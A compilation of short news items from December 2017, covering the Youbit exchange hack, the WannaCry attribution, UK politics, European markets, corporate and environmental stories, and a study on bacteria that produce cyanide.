A pop-up notice on the Youbit website said: I am very sorry to inform you again with the sad news. After the accident in April, we have done our best to improve the security, recruitment and system maintenance, and have managed to lower the hot wallet rate. Then, at 4:35 am, we lost our coin purse due to hacking."

"We will close all trades, suspend all deposits or withdrawals and take steps for bankruptcy," the exchange said in a statement.

The exchange also said that customers assets would be marked down to 75% of their value, "In order to minimise the damage to our members, we will arrange for the withdrawal of approximately 75% of the balance at 4:00 am on 19 December. The rest of the unpaid portion will be paid after the final settlement is completed.

"We will do our best to minimise the [losses] of our members by 17%, through various methods such as cyber comprehensive insurance (3 billion) and selling the operating rights of the company," concluded the company

An official at Korea Internet and Security Agency (KISA) said the police were investigating the hack. The previous hack in April, when 4,000 bitcoins ($5m) were stolen was linked to North Korea.

Cryptocurrency exchanges are easy targets for hackers and as their popularity increases they become more vulnerable.

The potential bubble has heightened the concern of Seouls financial regulators, who during the previous week banned financial institutions from dealing in cryptocurrencies.

South Korea was one of the countries where the bitcoin fever was hitting the hardest, with the country accounting for 20% of all bitcoin transactions. Demand had been so strong that bitcoin prices there were noticeably higher than in other markets.
The government is attempting to allow the DUP to conceal details of political donations, in spite of being bound to the transparency rules that were extended to Northern Ireland in 2014.

Political donations have always been a delicate subject in Northern Ireland because of the safety risks donors had to run in the past when they were made public. Nowadays, that threat no longer exists so these donations can be made public.

The new rules, which were introduced in 2014, were intended to run from that year, but Northern Ireland secretary, James Brokenshire said they should be applied from 1 July 2017, meaning that the donations for the Brexit referendum campaign would not be made public.

Indeed, on Tuesday lawmakers were set to discuss a law that would allow those donations to remain secret.

That raised questions about fundraising during the EU referendum in 2016, especially the 435,000 donation from the Constitutional Research Council (CRC), the largest ever made to a party in Northern Ireland, details of which remained in the dark.

The controversy was sparked because half of that money was spent on wraparound advertising in London (not in NI), which the DUP defended because the referendum was "UK-wide".

Shadow Northern Ireland secretary, Owen Smith said: "This is just the latest in a series of dodgy deals being done between the government and their mates in the DUP, but it is arguably the most egregious abuse of power.

"All of the parties in Northern Ireland say they are committed to transparency in respect of their donations but there is only one party  the DUP  who oppose it applying from January 2014. And we all know why," he added.

Seamus Magee, the former head of the Electoral Commission in Northern Ireland, hinted at the possibility that this leniency on the governments part was because of the deal it wanted to strike with the DUP.



"The deal on party donations and loans must be part of the DUP/Conservative deal. No other explanation," he tweeted.

"Every party in Northern Ireland understood that the publication of political donations over 7,500 was to be retrospective to Jan 2014."
The White House claimed that North Korea was "directly responsible" for the WannaCry malware attack that hit more than 30,000 computers in hospitals, businesses and banks across 150 nations in May and caused billions of pounds in damage.

Thomas Bossert, an aide to the US president, made the accusation in Monday's edition of the Journal, officially blaming Pyongyang "based on evidence".

Number 10 said in November that it was "all but certain" that the rogue nation was responsible for the attack that left Windows users locked out of their devices and their contents unless they paid a ransom.

"North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behaviour is growing more egregious. WannaCry was indiscriminately reckless," Bossert said.

"As we make the internet safer, we will continue to hold accountable those who harm or threaten us, whether they act alone or on behalf of criminal organizations or hostile nations," he added. "The tool kits of totalitarian regimes are too threatening to ignore."

The White House was expected to make an official statement on Tuesday.
Selling on the Continent accelerated in the last hour of trading, giving back some of the prior day's gains as longer-term government bond yields snapped higher on both sides of the Atlantic ahead of the first of two votes in the US Congress on Republicans' tax reform plans.

By the closing bell, the benchmark Stoxx 600 was down by 0.42% or 1.64 points to 391.02, alongside a dip of 0.72% or 96.51 points to 13,215.79 on the German Dax and a fall of 0.69% or 37.67 points to 5,382.91 for the French Cac-40.

In parallel, euro/dollar was 0.33% higher at 1.1812, alongside a seven basis point jump on the benchmark 10-year bund to 0.38%.

"European stock markets have been sliding throughout the afternoon. The FTSE 100 is just about in positive territory even though it hit a six week high earlier today. The London market was broken out of the downward trend that it was in since early November, and if the bullish move continues, we could see it target 7600 before the Christmas break.

"The DAX had has handed back some of the gains it made on the back of the planned talks between the Social Democrats and Christian Democratic Union (CDU) later this week. The negotiations between the two parties could pave the way for a coalition government being formed in Germany. The two sides have been bedfellows in the previous government, and the Social Democrats paid the price for it, so the party may be cautious about teaming up again," commented David Madden at CMC Markets UK.

The US House of Representatives was expected to vote on the tax cut proposals on Tuesday night, followed by a Senate vote, possibly the following day.

Weighing slightly on sentiment, business confidence in Germany slipped slightly in December, according to the prestigious IFO institute.

The think-tank's sentiment gauge dipped from 117.6 for November to 117.2 as a subindex of expectations fell from a reading of 111.0 to 109.5 (consensus: 110.7).

Elsewhere, data from Eurostat revealed a slowdown in euro area labour costs from a 1.8% pace year-on-year in the second quarter to 1.6% for the three-month stretch to September.

Nonetheless, in a research note sent to clients Claus Vistesen, chief Eurozone economist at Pantheon Macroeconomics, said: "the key story is the significant divergence in headline growth rates. Wages in France and Germany are rising about 2% year-over-year, while they are barely growing in Spain and Italy. Overall, these data point to sluggish wage growth dynamics in the euro area, but we caution they are very long lagging, and significantly revised. We think headline growth will rise steadily to about 2% in the next 12 months."

In corporate news, shares of Hugo Boss shot higher company chief Mark Langer told the Frankfurter Allgemeine Zeitung it was aiming to grow more quickly than the market in 2018.

Elsewhere, Old Mutual agreed to sell its single strategy business for $600m in a management buy-out backed by private equity outfit TA Associates.
The Pension Protection Fund is refusing to back the restructuring of Toys R' Us unless it stumps up 9m for the companys pension fund.

The toy retailer had asked Britain's state-backed safety net to support the company's voluntary arrangement procedure which would see at least 26 stores close, resulting in roughly 800 job losses.

If the procedure were unsuccessful, it was considered likely that all 84 stores and a few more pop-ups would be forced to shut their doors, potentially leaving as many as 3,200 staff out of work.

The company had a cumulative pensions deficit of 18.4m in January and the pensions lifeboat could be put at risk if it didnt come up with the 9m that the PPF was requesting. It was understood that the UK business did not have the necessary resources and its US parent, saddled with 3.7bn of debts, had also gone bankrupt.

Malcolm Weir, director of restructuring and insolvency at the PPF: "We have yet to decide how the creditor rights will be exercised in the CVA vote. We are seeking to fully understand the current position of the company, including its future potential, position of the US parent and the reported historical financial transactions."

He added that: "The pension scheme is already underfunded and, if we were to vote in favour of the CVA, we would need actions taken that ensure the position of the pension scheme was not going to further weaken.

"The filing of CVA proposals means that an assessment period is automatically triggered for a pension scheme. Whatever the outcome of the CVA, the pension scheme members can be reassured that they remain protected."

Steve Knights, managing director of Toys R Us UK, said: "All of our stores across the UK remain open for business as normal through Christmas and well into the New Year."

"the decision to propose this CVA was a difficult one but we determined it is the best path forward to make essential changes to the business. The business has been loss-making in recent years and so we need to take strong and decisive action to accelerate the transformation."

Questions were also raised about why the chains UK arm wrote off 584.5m in loans owed by a Toys R Us firm based in the British Virgin Islands and how it might impact the pension scheme.
BHP Billiton said on Tuesday that it is considering leaving the World Coal Association and the US Chamber of Commerce.

The mining giant said a review of 21 industry association memberships found that it had seven material differences in position over climate and energy policies across three associations: the Minerals Council of Australia, the United States Chamber of Commerce and the World Coal Association.

BHP will remain a member of the MCA, given the high level of benefit it derives from membership. However, it did point out that the MCA has sometimes argued that energy policy should prioritise reliability and affordability over 'other policy goals'.

"When discussing emissions reduction in the energy sector, the MCA has highlighted the costs associated with meeting Australias international commitments at the expense of addressing the importance of reducing emissions," said BHP.

"We believe climate policy and energy policy are inextricably linked, and that energy reliability, energy affordability and emissions reduction should be considered on an integrated basis."

BHP has decided to withdraw from the US Chamber of Commerce after it criticised the Paris climate agreement and due to its opposition to carbon pricing.

"Emissions reductions are necessary to mitigate climate change. An effective global framework to reduce emissions should use a portfolio of complementary measures, including a price signal on carbon, implemented in a way that addresses competitiveness concerns and achieves lowest cost emissions reductions," BHP said.

As far as the WCA is concerned, it noted that the organisation has called for policy changes that are more technology-specific when it comes to climate and energy policy frameworks.

"We believe energy markets should be both fuel and technology neutral, and should not artificially y favour one type of technology over another," BHP said.

Geoff Healy, chief external affairs officer, said that while no industry association represents the views of any single member, they are important for sharing best practice, the development of technical standards and policy and to bring together technical expertise and experience.

Active participation within industry associations is an opportunity for BHP to improve its own performance and to support industry as a whole in making a positive contribution.

This review makes clear the principles for our ongoing participation in industry bodies. While we wont always agree with our industry associations, we will continue to call out material differences where they exist and we will take action where necessary, as we have done today.

Importantly, we will also continue to communicate our own views directly to investors, governments and civil society and we will redouble our efforts to engage, clearly and constructively, with our industry associations to positively influence the position they take on matters important to our company.
The Nebraska Public Service Commission voted unanimously Tuesday to deny TransCanada's motion to amend its application to the alternative route through the state for its proposed Keystone XL pipeline.

The decision did little to settle the battle between those working to get the pipeline built and those seeking to block it.

Those against it hope an appeal, which could result in TransCanada needing to restart the application process, will cause the company to rethink and shelve the project altogether.

Omaha attorney David Domina, who represents landowners who oppose the pipeline, said in a lot of ways it was "the best possible outcome" of the proceedings.

"We got today exactly what we wanted," he said.

Commissioners approved the pipeline last month, but not the company's preferred route through Nebraska, the one for which it had applied.

"What that means is that TransCanda is stuck with a 3-2 vote that approved a route that the company never applied for," Domina said Tuesday.

At a hearing a week ago, TransCanada's attorney, James Powers of Omaha, told commissioners they could resolve any questions over whether they overstepped jurisdiction or deprived landowners and other groups due process by allowing TransCanada to amend its application to the alternative route.

Then, the commission could issue a new final order.

But Tuesday, the Public Service Commission voted against the move, setting up an all-but-certain legal fight before the Nebraska Supreme Court that will delay the project several months, possibly a year.

And, if an appeals court finds an issue with the PSC's decision to approve an alternative route, TransCanada could find itself back at square one.

Robynn Tysver, a spokeswoman for the company, said it is going to take some time to review Tuesday's decision and determine the appropriate next step.

"Keystone XL remains a viable project with strong commercial support and we remain committed to this project," she wrote in an email. "It is important to remember that this project enjoys widespread support within the U.S. and Canadian federal governments, as well as state officials in Montana, South Dakota and Nebraska. President Trump and his administration continue to actively support Keystone XL and we expect to secure final federal permits in early 2018."

Bold Nebraska founder Jane Kleeb said TransCanada knows it's on shaky ground with the route that was approved by the PSC, but never approved by the U.S. State Department, which puts the federal permit in question.

"So now the route that TransCanada did not want  which still crosses the Ogallala aquifer and fragile Sandhills  is the route that they're technically stuck with," she said in an email.

Kleeb said Bold Nebraska will continue to organize landowner resistance inside the new route.

Outside the hearing room, Ken Winston of Lincoln, attorney for the Sierra Club, said the fact that TransCanada didn't get its preferred route means now there are new landowners, environmental issues and legal issues that need to be addressed.

"It (the pipeline) never was a good idea, and it's getting to be a worse idea. We certainly hope that they would reach that conclusion, that this is not in their best interest," he said of TransCanada.

Winston said it's the Sierra Club's position that TransCanada's application should be denied on its face.

"We're moving toward much more efficient energy usage," he said. "Pipelines are no longer needed. It's a bad idea to continue to invest in fossil fuel infrastructure."

Winston said the Sierra Club has been fighting the Keystone XL from the beginning "and we will continue to fight it until it is finally stopped.

TransCanada's 275-mile preferred route was the focus of a court-style hearing in August, but on Nov. 20, the PSC opted for a slightly longer route known as the "mainline alternative."

That route would cut farther east, then run parallel with the existing Keystone pipeline for about 95 miles. It would cross 11 counties: Keya Paha, Boyd, Holt, Antelope, Madison, Stanton, Colfax, Butler, Seward, Saline and Jefferson.

The pipeline would move Canadian oil bound for the U.S. Gulf Coast from Hardisty, Alberta, to a terminus at Steele City, Nebraska.
Following its announcement last week, budget airline Ryanair confirmed on Tuesday that it will recognise pilot unions for the first time in its history and that it will meet with cabin crew unions, as it looks to avert a strike in the run-up to Christmas.

Last Friday, the airline said it had written to the pilot unions in Ireland, the UK, Germany, Italy, Spain and Portugal inviting each of them to talks. It said it will recognise these unions as long as they establish committees of Ryanair pilots to deal with Ryanair issues, as Ryanair will not engage with pilots who fly for competitor airlines in Ireland or elsewhere.

"As Ryanairs statement of Fri 15 Dec made clear, Ryanair is moving to recognise unions, starting this week with meetings with Irish, German and Portuguese pilot unions. It will lead on in the New Year to meetings with other EU pilot unions and cabin crew unions in due course as well."

The carrier said the decision to change its long-standing policy of not recognising unions was made in order to avoid any threat of disruption to its customers and flights over the Christmas period, as it called on pilot unions to cancel a planned strike on Wednesday.

Chief executive Michael OLeary said last Friday: Christmas flights are very important to our customers and we wish to remove any worry or concern that they may be disrupted by pilot industrial action next week.

If the best way to achieve this is to talk to our pilots through a recognised union process, then we are prepared to do so, and we have written today to these unions inviting them to talks to recognise them and calling on them to cancel the threatened industrial action planned for Christmas week.

Putting the needs of our customers first, and avoiding disruption to their Christmas flights, is the reason why we will now deal with our pilots through recognised national union structures and we hope and expect that these structures can and will be agreed with our pilots early in the New Year."

The news came ahead of Ryanair's meeting later in the day with Impact, the union representing Irish pilots.
London's FTSE 100 was up 0.1% at 7,545.18 in afternoon trade on Tuesday as volumes began to dwindle in the run-up to Christmas, although the mood was fairly upbeat amid optimism over the US tax reform bill.

Old Mutual was the standout gainer as it agreed to sell its single strategy business for 600m in a management buyout led by the division's chief executive Richard Buxton.

The buyout is backed by the private equity firm TA Associates, which has been in talks with Buxton at least since September when Old Mutual said the business was up for sale.

EasyJet flew higher as Credit Suisse upgraded its stance on airlines to 'overweight' from 'benchmark', with a focus on low-cost carriers and an outperform rating on EZJ.

Among other things, the bank said that despite its strong outperformance in 2017, the sector is still cheap on price-to-earnings basis, trading at a 30% discount to the market, In addition, it said low-cost carriers are a "pure play on European domestic demand, with passenger air travel having a typical beta of 2x to GDP over the cycle, and being a beneficiary from a stronger euro (as they have more dollar-denominated costs than revenues)".

Going the other way, BHP Billiton retreated after saying it is considering leaving the World Coal Association and the US Chamber of Commerce.

The mining giant said a review of 21 industry association memberships found that it had seven material differences in position over climate and energy policies across three associations: the Minerals Council of Australia, the United States Chamber of Commerce and the World Coal Association.

Risers

Old Mutual (OML) 222.50p 4.41%

easyJet (EZJ) 1,415.00p 2.76%

CRH (CRH) 2,596.00p 2.00%

Admiral Group (ADM) 1,948.00p 1.94%

Standard Chartered (STAN) 776.60p 1.62%

Kingfisher (KGF) 338.70p 1.62%

Carnival (CCL) 4,919.00p 1.53%

Marks & Spencer Group (MKS) 309.60p 1.51%

GKN (GKN) 302.40p 1.37%

Rolls-Royce Holdings (RR.) 867.00p 1.34%

Fallers

Mediclinic International (MDC) 567.50p -6.66%

Micro Focus International (MCRO) 2,476.00p -2.10%

Fresnillo (FRES) 1,337.00p -1.91%

WPP (WPP) 1,343.78p -1.55%

Mondi (MNDI) 1,831.00p -1.40%

NMC Health (NMC) 2,830.00p -1.39%

BHP Billiton (BLT) 1,415.00p -1.32%

Reckitt Benckiser Group (RB.) 6,644.00p -1.03%

Halma (HLMA) 1,257.00p -0.95%

Rentokil Initial (RTO) 312.86p -0.84%
Two non-profit organisations, SNV World (based in the Netherlands) and Action Contre la Faim (based in France) have taken the lead on two projects that aim to reduce migration from Northern Cameroon by improving the livelihoods of local people, including jobs, food and decent water supply facilities.

Both projects, Presec and Resili(a)nt, were launched in Cameroon's capital city Yaounde on 27 November. The first regional meetings with local stakeholders too place this month.

European Union Emergency Trust Fund (EUTF) for Africa funded the projects, worth 20 million euro in total.

Launching ceremony in Yaounde, Cameroon

Income-generating activities

Speaking at the launching ceremony in Yaounde was the Representative of the Ambassador of the EU Delegation to Cameroon, H.E. Hans-Peter Schadek. He discussed the aim of the financial support, which is to enable people to carry out income-generating activities.

According to Schadek, many people in Northern Cameroon live in a situation that forces them to leave their communities because of growing insecurity in the Northern Regions, coupled with growing food insecurity.

He noted that a lack of basic utilities, youth unemployment and other social issues have caused thousands of young people to flee their areas of origin. They now live in deplorable conditions and are in need of support.

Andre de Jager of SNV meets the press

Increase agricultural productivity

Managing Director of Agriculture, Andre de Jager, of SNV declared that his organisation prioritises agriculture as a means to increase productivity of farm yields and provide employment opportunities in the affected areas.

To him, the instability challenges witnessed in parts of the Northern Regions are a difficult issue to be tackled.

When people do not have the opportunity to work, De Jager explained, they are likely to move and sometimes get involved in bad practices that are causing instability. To this effect, we are going to make agriculture a priority to enable young people who are feeling the effect to stop moving out, he told reporters present at the launch.

Improvement of the livelihoods of local people can prevent migration

Two separate consortia

The projects are managed by two separate consortia. Project de Renforcement de la Resilience des Populations des Regions Septentrionales du Cameroun (Presec) project involves a consortium that consists of two local NGOs, Cadepi and Aprosan, and is led by SNV in Cameroon.

The project Redressement Economique Social Inclusif et de Lutte contre lInsecurite Alimentaire et Nutritionnelle des Territoires du Nord Cameroun (Resili(a)nt) is managed by a consortium led by ACF together with Solidarites Internationales, CARE France, Premiers Urgences International and Croix Rouge Francaise.

The project's interventions will focus on livelihood projects related to agriculture, livestock and fisheries, with accompanying Behavioural Change campaigns that build on SNV's Sustainable Nutrition for All (SN4A) and WASH approaches, intended to improve community access to potable water and irrigation of their farms.

This news item was originally published on the website of SNV World.

Read also on this website

 High level representatives sign The Hague Declaration for concerted action on climate security, 13 December 2017

 Stockholm World Water Week 2017: Many reasons for conflicts, water shortage is one of them, 30 August 2017

 SNV takes a stand against poor circumstances septic tank emptiers in Bangladesh, 14 September 2017



More information

SNV World

The Hague, the Netherlands

+31 70 3440 244

www.snv.org
A Council of Europes Parliamentary Assembly conference highlighted that parliaments are a central guarantor of the freedom of the media and of public service medias (PSM) independence.

Taking place on 6 December, the Conference on The role of national parliaments in improving independence and pluralism of the media addressed several key issues affecting the media environment today such as legal standards for media transparency and ownership, and the independence of PSM.

Representing the EBU in a panel discussion on institutional and editorial independence of PSM, Legal Counsel Jenny Weinand pointed out that safeguards for editorial and institutional independence need to be established by law to shield PSM from any undue influence and she made clear that sustainable funding is essential for PSM to be able to play its vital democratic, social and cultural role. She stressed that PSM must be able to offer new, innovative online services in order to remain relevant for all segments of society.

Panel moderator Gvozden Flego, a former Professor of social philosophy at the University of Zagreb, pointed out that the function of media is not solely informative but also formative in contributing to public opinion. In this light, PSM have a special responsibility in promoting public interest and the common good by providing reliable and impartial information and high quality content that elevates the level of programming throughout the whole sector.

According to Mr Flego, 'Internetisation' largely changes the ways of collecting information and of composing and disseminating news. On the one hand, this enhances opportunities for citizens to express their views and participate in public discussions but on the other hand, it leaves the door open to the publication of fake stories that are not verified.

The conference was hosted within the Partnership for Good Governance framework. This partnership is jointly led by the Council of Europe and the European Union and aims to promote and support democratic reforms in Armenia, Azerbaijan, Belarus, Georgia, Moldova and Ukraine.
MUMBAI  Welspun India has set out its vision of doubling the firms revenue by 2022 as the company looks to roll out its Wel-Trak cotton identification system, which it claims is the first patented fibre-tracking technology for application in the global textile market.

The technology will be developed in partnership with Oritain Global, who earlier this year announced its intention to collaborate with companies including Welspun to increase transparency in the cotton industry.
Denali is Alaskas most well known national park, attracting nearly half a million visitors every year. To enter the park, there is only one 92-mile road visitors must travel.

To help reduce traffic congestion and to protect the natural resources of the park, personal vehicles are not allowed beyond a certain point of Denali Park Road for most of the year. Only buses, bikes or hikers may go beyond mile 15. The only exception is a four-day Road Lottery, in which visitors can win a prized permit to drive as much of the road as weather allows.

A view of the Alaska Range from North Face Lodge in Denali National Park. Photo credit: Gregory Slobirdr Smith / Flickr

Tucked away in the Alaska Interior, Denali is undoubtedly a trek for most. But its well worth it.

Other North American parks have their wildlife, but none has animals so visible or diverse as Denali, National Geographic said. And other parks have their mountains, but none with a stature so stunning, a summit so towering as Denali.

Need more convincing? Here are the top five reasons why youve got to visit Denali:

1. Six million acres to roam and ramble

Denali is comprised of 4.7 million acres of national park and 1.3 million acres of national preserve. At 6 million acres, its about the size of Vermont and bigger than Yellowstone, Yosemite and the Grand Canyon combined.

Alpine forests and lakes in Denali National Park. Photo credit: Wikipedia / Creative Commons

Hiking and backpacking in Denali is unlike trekking in other national parks, according to the park service. There are only a handful of trailsmost of which are near the park entrance for day-hiking. If youre looking for a rugged, backcountry adventure, youd be hard pressed to find a better place.

2. An amazing diversity of flora and fauna

Think nothing can grow in Denali? Think again. More than 650 species of flowering plants fill the park, delighting summer visitors with their beautiful blooms. Many species of mosses, lichens, fungi, algae and others make their home in the vast expanse of tundra in the park.

A caribou causes a traffic jam in Denali National Park. Jacob W. Frank / National Park Service

Of course, Denali is better known for its iconic, mammal species, including grizzly and black bears, wolves, caribou, moose and Dalls sheep. Birdwatchers will also love Denali with 169 species of birds identified in the park, including golden and bald eagles.
New research shows that the

Alaska Range receives an average of 18 feet of snow per yearthats more than double the average of eight feet per year from 1600-1840.

The likely culprit, according to researchers from Dartmouth College, the University of Maine and the University of New Hampshire, is none other than

climate change.

We were shocked when we first saw how much snowfall has increased,

said Erich Osterberg, an assistant professor of earth sciences at Dartmouth College and principal investigator for the research. We had to check and double-check our results to make sure of the findings. Dramatic increases in temperature and air pollution in modern times have been well established in science, but now were also seeing dramatic increases in regional precipitation with climate change.

The Alaska Range, North Americas highest mountain range, is a 600-mile long chain of mountains that stretches from the Alaska-Canada border to the Alaska Peninsula. The range is best known for its largest mountain, Denali, and its namesake park,

Denali National Park and Preserve.

According to the research, snowfall during the winter has jumped 117 percent since the mid-19th century in Southcentral Alaska. Summer snows increased 49 percent in the same period.

The study, published in the journal

Scientific Reports on Tuesday, adds more evidence on the effect of climate change on regional precipitation. Earlier this month, an analysis published in the journal Environmental Research Letters found that human-caused warming likely intensified Hurricane Harveys record rains over Houston.

For the current study, the researchers analyzed two ice core samples collected at 13,000 feet from Mount Hunter in Denali National Park.

The authors suggest that warmer waters from the tropical Pacific and Indian Oceans caused a strengthening of the Aleutian Low pressure system with its northward flow of warm, moist air, driving most of the snowfall increases.

It is now glaringly clear from our ice core record that modern snowfall rates in Alaska are much higher than natural rates before the Industrial Revolution, said Dominic Winski, a research assistant at Dartmouth and the lead author of the report. This increase in precipitation is also apparent in weather station data from the past 50 years, but ice cores show the scale of the change well above natural conditions.



Time series shows the dramatic doubling of snowfall around North Americas highest peaks since the beginning of the Industrial Age. Inset shows summer (red) and winter (blue) snowfall since 1870. Dominic Winski

Climate change refers to more than just changes in the average surface temperature. The term also describes variations in sea levels, sea ice and, yes, snow.

Heres a simple explainer on how warmer temperatures can lead to more snowfall, straight from the U.S. Environmental Protection Agency:

Warmer temperatures cause more water to evaporate from the land and oceans, which leads to more precipitation, larger storms, and more variation in precipitation in some areas. In general, a warmer climate causes more of this precipitation to fall in the form of rain instead of snow. Some places, however, could see more snowfall if temperatures rise but still remain below the freezing point, or if storm tracks change.

Climate deniers have used the presence of snow to cast doubt on climate science. Remember Sen. James Inhofe of Oklahomas infamous snowball-throwing stunt on the Senate floor?

Also, check out this 2013 tweet from then-reality show host, now-

President Donald Trump, who thinks global warming is a hoax:

https://twitter.com/realDonaldTrump/statuses/412017385345138688
China unveiled the details on Tuesday of what is soon to be the worlds largest carbon market, two years after Chinas president Xi announced the initiative.

Although the market launch date wasnt revealed, observers saw todays announcement as a noteworthy step. This is like the pyramids of Giza for climate policy, Nathaniel Keohane, the vice president of international climate at the Environmental Defense Fund, told ClimateWire.

In its early stages the carbon market will only apply to emissions from power plants producing more than 26,000 tons of carbon per year. This means nearly all of Chinas power plants, about 1,700 companies, will be included. An estimated 39 percent of Chinas total emissions come from its coal and natural gas-based electricity sector. From this sector alone, the countrys carbon market will quickly outgrow Europes emissions marketcurrently the worlds biggest.

It is important to bear in mind that the first phase will be embryonic, Li Shuo, a senior global policy adviser for Greenpeace East Asia, who has been briefed on some details of the plan, told ClimateWire.

Initially, the government is likely to set the cap high. This will allow most power plants to keep emitting as they have been, making emission reductions minimal. A ton of carbon is likely to incur a market cost of around $7.50 (50 yuan), according to a Chinese official who spoke to Quartz on the condition of anonymity. The official went on to say that they expected the price to gradually rise to $45 (300 yuan) per ton of carbon. Every ton of carbon dioxide emitted today will likely cause $125 worth of damage to society in the future, according to economists.

The slow start is a sign that China is taking this seriously and wants to make sure theyre doing it right, Barbara Finamore, a senior attorney and Asia director for the China program at the Natural Resources Defense Council, told ClimateWire.

Market participation will require a rigorous verification process and subsequent monitoring, experts noted. For the first time the Chinese government will be able to take accurate measures from power sector emissions and analyze the data.

It is precisely the lack of transparency that has worried investors in other Chinese markets, and carbon markets are known for being notoriously tricky, Paul Bledsoe, a former Clinton White House climate adviser, told ClimateWire

Companies are already responding to the initiative. Over the past two years, following president Xis announcement, a number of industries have jumpstarted preparations for the carbon market. The number of Chinese companies planning for mandatory carbon markets rose from 54 in 2015 to 102 in 2017, Nicolette Bartlett, director of carbon pricing at the environmental charity CDP, told the Financial Times, citing a survey of 336 companies.

The program builds on regional test trading systems that go back to 2011 and have been running since 2013. Those regional programs for other sectors, such as steel and aluminum, will continue until the Chinese government deems they are prepared to enter the carbon market.

Chinas announcement comes against the backdrop of the U.S. withdrawing from its role as a global leader in climate action. Just yesterday President Trump signed a document that doesnt acknowledge climate change as a real national security threat.
The U.S. Environmental Protection Agency (EPA) will consider allowing the bee-killing pesticide thiamethoxam to be sprayed on the most widely grown crops in the U.S. The application, if approved, would allow the highly toxic pesticide to be sprayed directly on 165 million acres of wheat, barley, corn, sorghum, alfalfa, rice and potato.

The proposal by the agrochemical giant Syngenta to dramatically escalate use of the harmful neonicotinoid pesticide came last Friday, on the same day the EPA released new assessments of the extensive dangers posed by neonicotinoids, including thiamethoxam.

If the EPA grants Syngentas wish, it will spur catastrophic declines of aquatic invertebrates and pollinator populations that are already in serious trouble, said Lori Ann Burd, director of the Center for Biological Diversitys environmental health program. You know the pesticide-approval process is broken when the EPA announces it will consider expanding the use of this dangerous pesticide on the same day its own scientists reveal that the chemical kills birds and aquatic invertebrates.

Neonicotinoids have long been known to pose serious harm to bee populations. But the new EPA assessments found the commonly used pesticides can kill and harm birds of all sizes and pose significant dangers to aquatic invertebrates.

Thiamethoxam is currently widely used as a seed coating for these crops. This application would allow it to be sprayed directly on the crops, greatly increasing the amount of pesticide that could be used.

The just-released aquatic and non-pollinator risk assessment found that the majority of uses of the neonicotinoid on currently registered crops resulted in risks to freshwater invertebrates that exceeded levels of concernthe threshold at which harm is known to occur.

The EPA did not assess risks associated with spraying the pesticides on the crops it announced it was considering expanding use to on Friday. But it is likely that increasing the number of crops approved for spraying would dramatically increase that risk.

In January the EPA released a preliminary assessment of on-field exposures to thiamethoxam that found all uses of the pesticideon foliar, soil and seedsresult in exposures that exceed the level of concern for acute and chronic risk to adult bees. But the agency has taken no steps to restrict use of these products and is now considering expanding their use.

Despite growing scientific and public concern about neonicotinoids, the application for expanded use of thiamethoxam was not announced by the EPA but quietly posted in the Federal Register.

For years the EPA and pesticide companies bragged that by using treated seeds they were avoiding spraying insecticides, and despite the science showing that these treated seeds were deadly to birds, claimed that they were environmentally beneficial, said Burd. But we can expect the Trump EPA to now ignore the risks to birds and bees and approve these ultra-toxic pesticides to be sprayed across hundreds of millions of U.S. acres.

Neonicotinoids are a class of pesticides known to have both acute and chronic effects on aquatic invertebrates, honeybees, birds, butterflies and other pollinator species; they are a major factor in overall pollinator declines. These systemic insecticides cause entire plants, including pollen and fruit, to become toxic to pollinators; they are also slow to break down and therefore build up in the environment.

A large and growing body of independent science links neonicotinoids to catastrophic bee declines. Twenty-nine independent scientists who conducted a global review of more than 1,000 independent studies on neonicotinoids found overwhelming evidence linking the pesticides to declines in populations of bees, birds, earthworms, butterflies and other wildlife.
BURLINGTON  The BloodCenter of Wisconsin has scheduled a blood drive from 7 a.m. to noon Tuesday, Jan. 16, at Veterans Terrace, 589 Milwaukee Ave. Donors can schedule an appointment by calling 877-232-4376, or visit www.bcw.edu.

During winter months, there is often a decline in blood donations while the critical need for blood remains. Donors of all blood types are needed, but especially O negative blood donors, who carry the universal blood type given to people in emergency situations.

Anyone 17 or older who is in good health and meets eligibility requirements is encouraged to donate blood. Appointments are preferred, but walk-in donors are also welcome. Parental consent is required for 16 year-olds to donate. The entire process takes about an hour. Donors should bring a photo ID that includes birth date.
Washington, DC - December 19, 2017 - Microbiologists in South Korea report this week in mBio that the bacterium Chromobacterium piscinae produces cyanide when under attack from Bdellovibrio bacteriovorus HD100, a microbial predator found in rivers and soils that ingests its prey from the inside out. The researchers found that the prey produced levels of cyanide high enough to inhibit, but not kill, the B. bacteriovorus HD100.

Experiments showed that C. piscinae produced the protective cyanide in a nutrient-rich broth. In a medium devoid of nutrients, it didn't produce the cyanide and was consumed. The researchers suspect that the bacteria likely uses some ingredient in the broth to produce the cyanide. That observation implies that a bacteria's defenses may depend on location - and, more generally, that bacteria may harbor protective mechanisms that are triggered in some environments, but not in others.

Studying such mechanisms may lead scientists to better understand how some pathogenic bacteria protect themselves against antibiotics, says microbiologist and study leader Robert Mitchell. His lab at the Ulsan National Institute of Science and Technology, in South Korea, focuses on understanding how microbial prey protect themselves from predators. They are investigating how bacterial predators like B. bacteriovorus HD100 might be optimized as "living antibiotics" that can target bacterial pathogens.

The study suggests microbes may have means for resisting predation that only show up in certain environs. "Resistance may be present, but we're not finding it because we're not looking in the right conditions," he says. "This study is kind of like a warning. To understand how germs may resist treatment, we need to look at the actual conditions in the host."

The new findings in mBio align with work published earlier this year by Mitchell's group, which identified compounds in human blood that inhibit predation of infectious bacterial strains - like E. coli and Salmonella enterica - by B. bacteriovorus HD100.

When the researchers searched for clues for how C. piscinae resists predation, Mitchell says they didn't expect to find cyanide. Their investigation began when, in earlier experiments, they noticed the bacterium survived attacks in nutrient-rich media. In a nutrient-poor environment, however, the predator ate the prey.

Their first suspect was violacein, a metabolite produced by C. piscinae that is structurally similar to a compound they'd previously linked to predatory inhibition. However, experiments showed it wasn't responsible.

"We had to scour the literature to find anything else we didn't know," Mitchell says.

Ultimately, one of his students identified cyanide as the culprit. The researchers verified that C. piscinae produced large amounts of cyanide when cultured in nutrient-rich broth, and that those cultured in HEPES, a nutrient-poor buffer, didn't. Further experiments confirmed that cyanide does inhibit the B. bacteriovorus HD100. The cyanide didn't poison the C. piscinae. "Some of the data in our study suggests the prey bacteria can degrade it," Mitchell says.

The group now plans to look at how other predatory bacteria respond to cyanide, as well as other factors that can potentially inhibit or negatively impact predatory activity in microbes.

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The mBio study was funded by a grant from the Defense Advanced Research Projects Agency (DARPA), the research and development arm of the U.S. Department of Defense. Mitchell notes that the findings and opinions of his research team should not be interpreted as representing the official policies, either expressed or implied, of the Army Research Office, DARPA, or the U.S. Government.

